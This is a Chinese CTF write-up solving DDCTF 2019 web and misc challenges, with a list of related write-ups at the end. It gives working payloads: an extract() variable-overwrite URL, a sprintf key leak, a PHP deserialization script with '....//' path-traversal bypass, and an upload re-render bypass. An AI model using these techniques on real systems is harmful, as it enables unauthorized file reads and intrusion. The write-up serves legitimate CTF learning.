web

滴~

这是i春秋上的一个原题。
(原题比这个好)
进入页面发现
EGawTA.png
观察jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09像是个base64编码。进行解码。解码两次得到666C61672E6A7067。像是个base16进行解码得到flag.jpg。

我们试着把index.php进行同样的编码看看是否能够得到源码。果然
EGaxt1.png
进行解码,得到index.php的源码。

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

审计源码发现只能传入字母数字和点的文件名并把config用!替换。
然后发现一个网址。。。(脑洞开始)

访问网址发现文章“vim 异常退出 swp文件提示”应该是文件泄露

各种尝试。。。最后发现是
EGdhuD.png
然后我们就可以进行读取f1ag!ddctf.php的源码了。
这里利用config被替换成!来绕过。对f1agconfigddctf.php进行编码
最后得到源码:

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}

?>

extract存在变量覆盖。
playload:http://117.51.150.246/f1ag!ddctf.php?uid=&k=

然后得到flag:DDCTF{436f6e67726174756c6174696f6e73}

WEB 签到题

看见这种题有点懵逼。。。

在调试器中发现index.php
发现加载啦auth()函数

EG0eQf.png

找到auth函数:
EG0Qoj.png
以post方式访问117.51.158.44 /app/Auth.php然后发现
EUBfTf.png
存在didictf_username: 然后用burp开始跑用户名:
猜测是弱口令。
EUBLmq.png
发现用户名是admin
EUDPXR.png
发现新页面,得到源码。

url:app/Application.php


Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}

url:app/Session.php

include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration            = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain                = '';
    var $cookie_secure                = FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();

审计代码:
session_read()方法是是用来获取cookie后面的hash值和反序列化的值。

然后通过序列化的值在前面加上签名进行验证。如果验证成功就进行反序列化处理。

if(!empty($_POST["nickname"])) {
        $arr = array($_POST["nickname"],$this->eancrykey);
        $data = "Welcome my friend %s";
        foreach ($arr as $k => $v) {
            $data = sprintf($data,$v);
        }
        parent::response($data,"Welcome");
        }

这里把 eancrykey 也带入了循环,所以只要nickname中有 %s 即可读出。(sprintf函数的特性)
Vwzzff.png

session_create()方法是用来对生成cookie的。这里对序列化值进行签名。

然后这时我门就需要获得他的密钥。
然后我们发现,在Application类里面有file_get_content函数,我们可以在这读取文件。
构造playload:

<?php

class Application{
    var $session_id = '2081563e7498674903b82eaf13cdcac6';
    var $ip_address = '117.159.73.196';
    var $user_agent = 'Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:66.0)+Gecko/20100101+Firefox/66.0';
    var $user_data = '';
    var $path = '....//config/flag.txt';
}
$a = new Application();
$a = serialize($a);
echo $a;
echo md5('EzblrbNS'.$a);
?>

得到playload:

即可获得flag。
V09YQO.png

Upload-IMG

打开页面发现是一个文件上传的题目

先随便传一个图片看一下

Aj7sUA.md.png

发现这个是需要经过二次渲染之后 还能找到 phpinfo() 这一串字符串

让我想到了 以前做过的 upload-labs的第十六关 二次渲染绕过

于是开始制作一个 能过绕过二次渲染的图片

首先保存一个 已经被渲染的图片 命名为 1.jpg

然后用大哥的脚本开始跑图片

php phpinfo.php 1.jpg

制作完成一张 合格的图片

然后上传 就会得到flag:

AjbVS0.md.png

misc

wireshark

首先,我们得到一个流量包,分析流量包并未发现敏感信息。 。。
然后,就试着导出图片
得到:
AjbKw4.png

并未有任何发现。。
然后,就试着再次分析流浪包。
在追踪流时发现多个图片。
Ajby1P.png

Ajb66f.png

AjbcX8.png

又发现了一个解密网站。。。

Ajb4ts.png
Ajb7cV.png
把图片手动导出。。。
(16进制工具)
得到:
AjbjAJ.png

发现了钥匙。。。
然后就是获得key

发现图片钥匙头朝下。。。
猜测可能隐藏高度:
AjqCjK.png

把高度改为06 40,得到key
Ajqn3t.png

key:57pmYyWt

然后在线解密就得到flag了。

北京地铁

第一步,Color Threshold提示我们观察颜色,想到了lsb用隐写神器调为rgb为零时得到密文: 7SsQWmZ524i/yVWoMeAIJA==
AzDQO0.png
然后得到提示AES的ECB解密,然后观察图片发现魏公村的颜色与线上的其他点的颜色不一样。
AzDwOx.png
猜测密码为weigongcun。。。
在线解密得到flag:
Azr9NF.png
flag:DDCTF{Q*2!x@B0}

multzor

观察字符发现像是十六进制,然后想到是个文件用winhex新建文件,把16进制数粘到左边,把多余的的删掉。保存文件,不需要后缀(不知道)

想到异或用到xortool神器

执行命令xortool -x -c 20 文件名

跑key的长度(只是有可能)
执行命令xortool -l 长度 -c 20 文件名
生成的.out

就可能是flag(长度都试一遍)
AzrK4e.png

  • i春秋2020新春战“疫”网络安全公益赛 web Writeup

    前言这次比赛题目质量挺好的,除啦环境可能有时候有点问题。(就让我遇到了。心态炸了一天。。。)其他都挺好的。 DAY1简单的招聘系统知识点:sql注入的联合注入或盲注存在注册和登陆功能,首先进行注册后登陆进系统,发现有一个模块是管理员才...

    i春秋2020新春战“疫”网络安全公益赛 web Writeup
  • 2019安洵杯+2019广外比赛web部分题解

    2019安洵杯easy_web知识点:MD5强碰撞,命令执行这个题比较简单,看题目发现传入参数img和cmd,然而图片是传入的img参数控制,让我想到ddctf的一道题,然后发现img是通过把文件名进行转十六进制后两次base64编码...

    2019安洵杯+2019广外比赛web部分题解
  • 2019极客大挑战RCE ME

    题目环境:http://114.116.44.23:40001/ 题目还是老样子。无字母数字rce。知识点其实都有写过,就不说了。详细参见:【RCE提高篇】题目源码: <?php ini_set("display_errors"...

    2019极客大挑战RCE ME
  • buuctf刷题记录(序)

    love math知识点:代码审计,绕waf直接给出源码: <?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ sho...

    buuctf刷题记录(序)
  • buuctf刷题记录

    前言最近感觉自己菜出来新境界。。。刷点题来证明我还存在。。。言归正传。开刷 hack world知识点:sql布尔盲注,bypass进入题目,发现这是典型的sql布尔盲注,题目给出了表名和列名都是flag,用burp进行fuzz测试发...

    buuctf刷题记录
  • OGeek CTF 2019-Enjoy You Self

    前言最近ctf不少,但是成绩不咋样,菜的真实。新学期开始了,最后一年了。。。继续努力吧。OPPO OGeek CTF 2019咋说呢,菜。。。总结一下学到的东西吧。 Enjoy You Self线上环境:http://47.107.2...

    OGeek CTF 2019-Enjoy You Self
  • 2018n1ctf-esay-php复现

    前言最近做题,两次遇见这个题。第一次看着writeup都没复现成功。emm(菜的真实。。。)。这次自己搭的环境用三种方法来复现这个题。 环境搭建官方给了环境,有dockerfile。所以比较容易搭建的。官方文件在docker上安装上d...

    2018n1ctf-esay-php复现
  • 刷题记录

    一步步慢慢绕题目: <?php show_source(__FILE__); $v1=0;$v2=0;$v3=0; $a=(array)json_decode(@$_GET['foo']); if(is_array($a)){ ...

    刷题记录
  • sql注入新姿势-2019强网杯

    前言woc前一段时间,写过一次,发现被我搞丢了,气死…重写ing 随便注首先,对题目进行测试尝试一下1'发现会得到报错,尝试一下万能密码1' or '1'='1,发现能够把当前表所有的值全部输出...

    sql注入新姿势-2019强网杯
  • ciscn线下部分题解

    前言ciscn华中赛区线下赛让我认识到自己是真的菜。。。总结一下这次比赛吧。 web1 <?php // ini_set("display_errors", "On"); // error_reporting(E_ALL | ...

    ciscn线下部分题解